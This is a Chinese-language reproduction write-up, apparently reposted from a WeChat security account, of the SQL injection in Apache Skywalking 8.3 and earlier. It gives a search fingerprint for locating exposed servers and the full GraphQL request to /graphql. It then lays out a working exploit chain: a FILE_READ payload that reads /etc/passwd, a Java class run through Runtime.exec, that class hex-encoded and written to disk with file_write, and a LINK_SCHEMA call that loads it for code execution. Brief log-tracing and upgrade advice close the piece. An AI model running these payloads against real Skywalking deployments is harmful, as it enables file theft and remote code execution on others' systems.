Apache Skywalking <=8.3 SQL注入漏洞复现

admin 2022年10月30日00:31:06评论189 views字数 3312阅读11分2秒阅读模式

0x01 漏洞简述

Apache Skywalking 是专门为微服务架构和云原生架构系统而设计并且支持分布式链路追踪的APM系统。

Skywalking历史上存在两次sql注入漏洞,CVE-2020-9483、CVE-2020-13921。
在Apache Skywalking 8.3.0版本及以前的GraphQL接口中,存在一处H2 Database SQL注入漏洞。
Skywalking默认配置下使用的数据库为h2,且使用sa权限启动。

0x02 漏洞影响版本

Apache Skywalking <=8.3

0x03 搜索语法及Exp

搜索语法如下:

http.favicon.hash:1929532064

Apache Skywalking <=8.3 SQL注入漏洞复现

漏洞Exp如下:

https://github.com/Vulnmachines/ApacheSkywalking 

0x04 漏洞环境搭建

使用vulhub进行复现

Apache Skywalking <=8.3 SQL注入漏洞复现访问8080端口即可查看Skywalking的页面。

0x05 漏洞复现

sql注入漏洞位于/graphql,metricName参数的值被拼接到from后面。
发送如下graphql查询。
POST /graphql HTTP/1.1Host: vul.zgao.top:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 405
{ "query":"query queryLogs($condition: LogQueryCondition) { queryLogs(condition: $condition) { total logs { serviceId serviceName isError content } }}", "variables":{ "condition":{ "metricName":"sqli", "state":"ALL", "paging":{ "pageSize":10 } } }}

Apache Skywalking <=8.3 SQL注入漏洞复现

sqli注入读取系统文件:
将参数替换为如下sql语句读取系统敏感文件。

INFORMATION_SCHEMA.USERS) union SELECT FILE_READ('/etc/passwd', NULL) where ?=1 or ?=1 or 1=1--

Apache Skywalking <=8.3 SQL注入漏洞复现

sqli_to_RCE
file_write写入evil类:
H2 是一个用 Java 开发的嵌入式数据库,它本身只是一个类库,即只有一个 jar 文件,可以直接嵌入到应用项目中。
file_write函数写入恶意类。

import java.io.IOException;
public class evil { static { try { Runtime.getRuntime().exec("touch /tmp/success"); } catch (IOException e) { e.printStackTrace(); } }
public static void main(String[] args) {
}}

xxd将class转为16进制:
1,先把上面的java类编译为class。

javac evil.java -target 1.6 -source 1.6

2,将编译后的evil.class 转为16进制。

xxd -p -c 1000000 evil.class 

Apache Skywalking <=8.3 SQL注入漏洞复现
INFORMATION_SCHEMA.USERS union  all select file_write('cafebabe0000003200230a000800140a001500160800170a001500180700190a0005001a07001b07001c0100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b29560100083c636c696e69743e01000d537461636b4d61705461626c6507001901000a536f7572636546696c650100096576696c2e6a6176610c0009000a07001d0c001e001f010012746f756368202f746d702f737563636573730c002000210100136a6176612f696f2f494f457863657074696f6e0c0022000a0100046576696c0100106a6176612f6c616e672f4f626a6563740100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b01000f7072696e74537461636b547261636500210007000800000000000300010009000a0001000b0000001d00010001000000052ab70001b100000001000c000000060001000000030009000d000e0001000b000000190000000100000001b100000001000c0000000600010000000e0008000f000a0001000b0000004f0002000100000012b800021203b6000457a700084b2ab60006b1000100000009000c00050002000c0000001600050000000600090009000c0007000d00080011000a00100000000700024c0700110400010012000000020013','evil.class'))a where 1=? or 1=? or 1=? --
Apache Skywalking <=8.3 SQL注入漏洞复现
此时查看docker中的文件,发现有新生成的evil.class文件。
LINK_SCHEMA调用evil类:

Apache Skywalking <=8.3 SQL注入漏洞复现

INFORMATION_SCHEMA.USERS union  all select LINK_SCHEMA('TEST2','evil','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --
Apache Skywalking <=8.3 SQL注入漏洞复现
需要注意,如果使用vulhub的环境进行复现的话是有两个docker。
在命令执行生成的文件是生成在oap的容器中。

0x06 溯源排查

目录:skywalking/logs
cat skywalking-oap-server.log | grep -i metric --color -C5
Apache Skywalking <=8.3 SQL注入漏洞复现
Apache Skywalking <=8.3 SQL注入漏洞复现

0x07 修复建议

1、升级Apache Skywalking到最新的v8.4.0版本
2、将默认h2数据库替换为其它支持的数据库

       From:https://zgao.top

往期推荐 

// 1

【PyHacker编写指南】网站Cms识别工具

// 2

【Pyhacker编写指南】Sql注入脚本编写

// 3

【PyHacker编写指南】爆破一句话密码

// 4

一次实战挖掘软件逻辑漏洞


原文始发于微信公众号(巡安似海):Apache Skywalking <=8.3 SQL注入漏洞复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月30日00:31:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Skywalking <=8.3 SQL注入漏洞复现http://cn-sec.com/archives/1358165.html

发表评论

匿名网友 填写信息